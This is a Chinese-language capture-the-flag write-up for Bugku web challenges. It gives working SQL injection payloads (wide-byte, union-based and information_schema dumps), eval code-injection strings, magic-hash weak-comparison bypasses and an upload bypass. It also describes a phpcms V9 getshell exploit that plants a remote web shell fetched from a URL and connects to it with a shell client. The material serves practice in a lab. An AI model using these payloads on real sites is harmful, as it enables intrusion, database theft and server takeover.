欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

bugku Web write up 一

程序员文章站 2022-03-09 22:51:03
...

web2

view-source:查看源码即可

文件上传测试

上传一个PHP文件发现他要的是图片文件,抓包先改一下content-type为image/jpeg,Go一下发现flag
bugku Web write up 一

计算器

F12调出开发者工具,把maxlength改为更长的长度即可

web基础$_GET

完全就是考php基础,直接URL加上index.php?what=flag即可

web基础$_POST

用Hackbar post数据即可

矛盾

利用了==的弱类型,然后令num=1e,get上去即可绕过

web3

停止之后,查看源码,最后发现了Html的编码,直接python跑一下即可

sql注入

查看源码发现是宽字节的注入
bugku Web write up 一
从报错可以猜测语句是select * from ** where id=’input’
注意key的双引号
payload:?id=-1%df'union select string,2 from `key` where id=1 --+

SQL注入1

代码里面是数字型的注入
查看代码里面的strip_tags函数是返回给定的字符串 str 去除空字符、HTML 和 PHP 标记后的结果,可以利用这个特性去过滤
bugku Web write up 一
payload:

?id=-1 uni<>on sel<>ect 1,hash fr<>om `key` where id=1--+

你必须让他停下

抓包go几下即可。。。
bugku Web write up 一

本地包含

读一下代码eval函数是执行代码的,而var_dump函数是把所有变量的属性给显示出来的,flag在flag.php里面那么我们就构造file函数传参给hello
payload:http://120.24.86.145:8003/?hello=file(%27flag.php%27)
这题还有其他方法
比如:
http://120.24.86.145:8003/?hello=$GLOBALS 利用了全局变量
http://120.24.86.145:8003/?hello=);show_source(%27flag.php%27);// 利用了eval执行函数去闭合var_dump函数

变量1

这里有个正则表达式,没啥影响,发现出现了$$的变量,直接用全局变量$GLOBALS即可,payload:?args=GLOBALS,进而构造出var_dump($GLOBALS)
bugku Web write up 一

web4

查看源码发现有url编码,解码后观察代码,发现password为67d709b2b54aa2aa648cf6e87a7114f1,提交之后得到key

web5

查看源码发现里面有JSfuck,解码一下,得到flag,记的提交的时候全大写。。。。

flag在index里

进去之后点击,发现url上面有file参数,就想到了php里面的file协议,用base64转码把index.php里面的内容读出来,再解码,得到flag

输入密码查看flag

5位数,用python写个字典

f=open('5位数.txt','w')

for i in range(10000,100000):
    print i
    f.write(str(i))
    f.write('\n')

f.close()

直接用bp暴力**,密码是13579
bugku Web write up 一

点击一万次

右击审查元素,发现只要clicks参数大于1000000才会出现flag,在控制台里面输入clicks>1000000的数字即可,记得最后还要点一下才出现flag
bugku Web write up 一

前女友

查看网页源代码发现里面有一个code.txt打开一看原来是代码审计问题
利用了==弱类型以及strcmp()函数,它无法处理处理数组
这里有两个MD5后可以弱类型截断的

QNKCDZO
0e830400451993494058024219903391

s878926199a
0e545993274517709034328855841020

关键payload:

?v1=QNKCDZO&v2=s878926199a&v3[]=1

成绩查询

一个简单的SQL注入题没有过滤,输入单引号不回显,再加一个注释回显,便猜测SQL语句应该是

select * from **** where id='';

用hackbar去post数据
先二分法看有几列 id=1’ order by 4#
验证四列到底怎么显示 id=-1' union select 1,2,3,4 # 这里id=-1,是为了让前面的语句为空,让后面的语句回显
爆库 id=-1' union select 1,2,3,database() # 就一个数据库
爆表 id=-1' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema='skctf_flag'# 两个表分别是 fl4g,sc
肯定是fl4g表,接下来爆字段 id=-1' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name='fl4g' #
爆内容 id=-1' union select 1,2,3,skctf_flag from `fl4g` #

各种绕过

还是利用了sha1不能处理数组的特性。。。。。。
下面是payload
bugku Web write up 一

细心

目录下发现robots.txt,里面有一个目录
bugku Web write up 一
于是就到另外一个目录看一下,发现下面有行字,
bugku Web write up 一
又想到提示里面的管理员,猜测密码可能是admin或者是administrator,尝试第一个的时候就对了
bugku Web write up 一

Web进阶

phpcmsV9

这是我第一次尝试这样的漏洞。。。。。
先百度一下,发现phpcmsV9存在前台注册页面存在getshell漏洞,
bugku Web write up 一
先用bp抓包,
bugku Web write up 一
在最下面的post数据里面加上&info[content]=<img src=http://www.bugku.com/tools/phpyijuhua.txt?.php#.jpg>

这里面的链接是Bugku论坛里面的现成的小马,当然你也可以自己写一个。。。。。。
bugku Web write up 一
然后复制go之后返回数据包里面的链接,也就是右边的箭头,用菜刀链接。。。说起这个菜刀这工具,这是我第一次真正用它实操,以前我都是看视频看别人用的。。。 ̄□ ̄||
bugku Web write up 一

连接之后在根目录下找到flag的图片,放进HXD里面就能找到flag了。。。。

啊,还有一种方法是直接用bugku论坛里面的getshell工具,自动出来shell地址,然后菜刀链接那个地址即可
bugku Web write up 一

说起来我还是喜欢上面的方法,复现一下也蛮好的。。。。。。。。

还没做完有待更新

相关标签: bugku ctf web